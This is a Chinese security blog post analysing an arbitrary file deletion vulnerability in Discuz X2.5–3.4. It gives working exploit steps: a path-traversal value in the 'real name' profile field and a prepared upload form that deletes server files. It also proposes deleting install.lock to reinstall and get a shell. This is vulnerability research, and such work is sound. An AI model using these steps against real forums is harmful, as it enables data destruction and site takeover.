p0's blog | 破 关注网络安全
Discuz X2.5-3.4任意文件删除
发表于: | 分类: 代码审计 | 评论:0 | 阅读: 3540

0x00 漏洞利用

注册账号,登陆后访问:
home.php?mod=spacecp

修改真实姓名:
../../../robots.txt

查看源代码,找到formhash的value值:

构造表单:

<form action="http://192.168.31.131/dz32/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data">
  <input type="file" name="realname" id="file" />
  <input type="text" name="formhash" value="af713741"/>
  <input type="text" name="profilesubmit" value="1"/>
  <input type="submit" value="Submit" />
</form>

上传一张图片便可删除robots.txt

0x01 代码分析

source/include/spacecp/spacecp_profile.php 第187-229行

在第228行对文件$space[$key]进行了删除,溯源$space值。

同文件第23-25行,对$space进行赋值

跟进getuserbyuid()函数,source/function/function_core.php第76-88行:

是获取common_member表的内容。

跟进space_merge()函数,source/function/function_core.php第1443-1472行:

$values为取地址,该函数把获取common_member_.$tablename表中的内容拼接到$space

其中common_member_profile表中存着用户个人资料,包括真实姓名性别生日等。所以$space是可控的,以数据库中的key作为上传表单的name,可达到删除文件的目的。

下面看如何通过判断,执行删除语句,因为要执行删除语句,要经过层层if和判断

第一个if,第70行:if(submitcheck('profilesubmit')) {
跟进submitcheck()函数:

function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
    if(!getgpc($var)) {
        return FALSE;
    } else {
        return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck);
    }
}

跟进helper_form::submitcheck()函数

public static function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
    if(!getgpc($var)) {
        return FALSE;
    } else {
        global $_G;
        if($allowget || ($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_GET['formhash']) && $_GET['formhash'] == formhash() && empty($_SERVER['HTTP_X_FLASH_VERSION']) && (empty($_SERVER['HTTP_REFERER']) ||
            strncmp($_SERVER['HTTP_REFERER'], 'http://wsq.discuz.com/', 22) === 0 || preg_replace("/https?:\/\/([^\:\/]+).*/i", "\\1", $_SERVER['HTTP_REFERER']) == preg_replace("/([^\:]+).*/", "\\1", $_SERVER['HTTP_HOST'])))) {
            if(checkperm('seccode')) {
                if($secqaacheck && !check_secqaa($_GET['secanswer'], $_GET['secqaahash'])) {
                    showmessage('submit_secqaa_invalid');
                }
                if($seccodecheck && !check_seccode($_GET['seccodeverify'], $_GET['seccodehash'], 0, $_GET['seccodemodid'])) {
                    showmessage('submit_seccode_invalid');
                }
            }
            return TRUE;
        } else {
            showmessage('submit_invalid');
        }
    }
}

就是需要POSTprofilesubmit 参数和验证formhash,防止csrf。所以构造表单的时候需要加入这两个input:

<input type="text" name="formhash" value="af713741"/>
<input type="text" name="profilesubmit" value="1"/>

第二个if,第187行:if($_FILES) {,需要时上传文件请求。

第三个if,第190-192行:

if(!isset($_G['cache']['profilesetting'][$key])) {
    continue;
}

先dump一下$_G变量:

所以构造表单的时候name设为realname这个if就不用管。

第四个if,第210行:if(!$upload->get_image_info($attach['target'])) {

上传一张正常的图片就不会进入此if。

第五个if,第216行:if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {

dump了一下$verifyconfig为空,不会进入此if

第六个if,第223行:if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {

$_G['cache']['profilesetting'][$key]['needverify']均为0,不会进入此if。

所以最终执行@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);导致任意文件删除。

0x02 利用方法

可以删除/data/install.lock文件,外链数据库重装,后台getshell。不过测试发现(DZ3.2),install目录下的文件安装时被删除了,即使删了install.lock也不能重装,其他版本未测试。


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/113/
来源:https://p0sec.net/

添加新评论

TOP